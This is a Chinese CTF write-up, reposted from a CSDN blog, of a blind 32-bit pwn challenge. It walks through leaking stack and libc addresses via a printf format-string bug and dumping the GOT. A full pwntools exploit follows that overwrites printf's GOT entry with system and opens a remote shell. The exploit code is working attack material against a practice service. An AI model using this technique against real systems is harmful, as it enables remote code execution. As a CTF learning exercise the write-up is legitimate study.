BUUCTF的题作到0解区,既作不出来也找到不wp,放弃了。今天开始上xctfclub.cn上来玩。
一般题都是从简单开始,也不一定,一上来就是个盲pwn 。
远程连接后,输出欢迎信息,然后输入后会回显。
思路:
- 如果是堆啥的怎么也得给点,不给就没办法了,至少有个泄露。这里的回显猜是printf的输出用AAAA-%x-%x...测试,可以得到一些有用信息 1. 有0804XXXX这个应该是32位no pie2. #3 得到个栈地址指向输入串,不清楚怎么用,3. #10是输入偏移4. #39是libc_start_main_ret 可以得到libc的加载地址。5. 没有找到退出循环的地址
- 一般32位加载地址0x8047000或0x8048000开始,写代码取程序8000成功,可以看到got表在0x804a000,放到这个位置重开段一般可写。
- 取got表查到一些项目的偏移:setbuf,read,printf,puts这里只有printf能用
- 将printf改为system再发送/bin/sh
完整exp:
from pwn import *
p = remote('www.bmzclub.cn', 21355)
p.recvuntil(b' Wealcome to BMZCTF \n')
'''
for i in range(50):
p.sendline(b'%%%d$x'%i)
print(i, p.recv())
0 b'%0$x\n'
1 b'ffa9ed18\n'
2 b'64\n'
3 b'8048718\n'
4 b'ffa9ed3e\n'
5 b'1\n'
6 b'ffa9ee34\n'
7 b'1\n'
8 b'ffa9ed3e\n'
9 b'ffa9ee3c\n'
10 b'24303125\n'
11 b'a78\n'
... 这堆全是0
35 b'7633c800\n'
36 b'f7f093dc\n'
37 b'ffa9eda0\n'
38 b'0\n'
39 b'f7d71637\n'
40 b'f7f09000\n'
41 b'f7f09000\n'
42 b'0\n'
43 b'f7d71637\n'
44 b'1\n'
45 b'ffa9ee34\n'
46 b'ffa9ee3c\n'
47 b'0\n'
48 b'0\n'
49 b'0\n'
1 b'ffa9ed18\n' # #1-> #10
3 b'8048718\n' # ebp - 4*7 ->ret
10 b'24303125\n' # 输入的串
39 b'f7d71637\n' #libc_start_main_ret #1+29*4->main_ret
'''
context(arch='i386')
p.sendline(b'%1$x')
ebp = int(p.recvline()[:-1], 16)
print('ebp:', hex(ebp))
'''
for i in range(30):
p.sendline(p32(ebp+i*4)+b'XXXX%10$s----')
print(p.recv()[8:12])
p.sendline(p32(ebp-4*7)+b'XXXX%10$s----')
print(p.recv()[8:12])
'''
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
libc_start_main_ret = 0x18637
p.sendline(b'%39$x')
libc_base = int(p.recvline()[:-1], 16) - libc_start_main_ret
libc_elf.address = libc_base
print('libc:', hex(libc_base))
start_addr = 0x8048000
stop_addr = start_addr + 0x3000
#context.log_level='debug'
'''
start_addr = 0x804a004
context.log_level='debug'
p.sendline(b'%13$sAAABBBB'+ p32(start_addr))
t = p.recvline()
for i in range(10):
v = u32(t[i*4: i*4+4]) - libc_base
print(hex(v))
0x804a00c setbuf
0x804a010 read
0x804a014 printf
0x804a01c puts
'''
payload = fmtstr_payload(10, {0x804a014: libc_elf.sym['system']})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.sendline(b'cat flag')
p.interactive()
标签:
pwn
本文转载自: https://blog.csdn.net/weixin_52640415/article/details/122877049
版权归原作者 石氏是时试 所有, 如有侵权,请联系我们删除。
版权归原作者 石氏是时试 所有, 如有侵权,请联系我们删除。